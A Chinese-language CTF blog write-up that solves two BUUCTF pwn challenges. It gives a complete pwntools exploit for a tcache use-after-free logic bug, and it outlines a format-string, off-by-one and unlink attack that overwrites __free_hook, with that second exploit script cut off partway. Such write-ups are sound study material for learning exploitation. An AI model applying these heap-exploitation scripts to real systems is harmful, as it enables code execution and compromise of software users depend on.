BUUCTF-PWN刷题记录-6

picoctf_2018_are you root(程序逻辑错误)

在这里插入图片描述
例行安全检查
菜单如下:
在这里插入图片描述
我们需要auth_level等于5才能get flag

user结构体如下

struct USER{
   
	char *name;
	long long auth_level;
}

漏洞原理分析:
在这里插入图片描述
在login中分配了两次内存,第一次是存储user结构体,第二次是存储姓名
在这里插入图片描述
在reset中只是释放了name,并在name的地址置为空,此时该chunk进入tcache,下次login时还会再申请一次user结构体,此时名字中超过8字节的部分就被当成auth_level了

漏洞利用:
我们先login一下,查看分配的内存

在这里插入图片描述
然后reset,再重新登陆
在这里插入图片描述
在这里插入图片描述
发现名字中超过8字节的部分被当做了auth_level
在这里插入图片描述

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 27815)
#r = process('./PicoCTF_2018_are_you_root')

DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *0x400E46
    b *0x400AF5
    c
    ''')

r.recvuntil('> ')
r.sendline('login aaaaaaaa\x05')
r.recvuntil('> ')
r.sendline('reset')
r.recvuntil('> ')
r.sendline('login root')
r.recvuntil('> ')
r.sendline('get-flag')
r.interactive()

axb_2019_heap(格式化字符串,off-by-one,unlink)

在这里插入图片描述
漏洞分析:
banner中的格式化字符串漏洞
在这里插入图片描述
get_input中可以溢出一个byte(任意byte而不是’\x00‘)
在这里插入图片描述

漏洞利用:

  1. 利用格式化字符串漏洞泄露Libc地址和代码段地址
  2. 申请三个大小为8的奇数倍的note,第三个内容为/bin/sh
  3. 编辑note[0],伪造chunk,fd为bss上的note数组地址-0x18,bk位bss上note数组地址-0x10,并修改下一个chunk的presize和size
  4. 释放note[1],此时通过unlink欺骗note[0]中存储地址为数组地址-0x18
  5. edit note[0],把note[0]content的地址改为__free_hook,修改__free_hook为system地址并释放note[2]

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28423)
#r = process("./axb_2019_heap")

context.log_level = 'debug'

elf = ELF("./axb_2019_heap")
libc = ELF('./libc/libc-2.23.so')

def add(index, size, content):
	r.recvuntil(">> ")
	r.sendline('1')
	r.recvuntil("Enter the index you want to create (0-10):")
	r.sendline(str(index))
	r.recvuntil("Ente
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值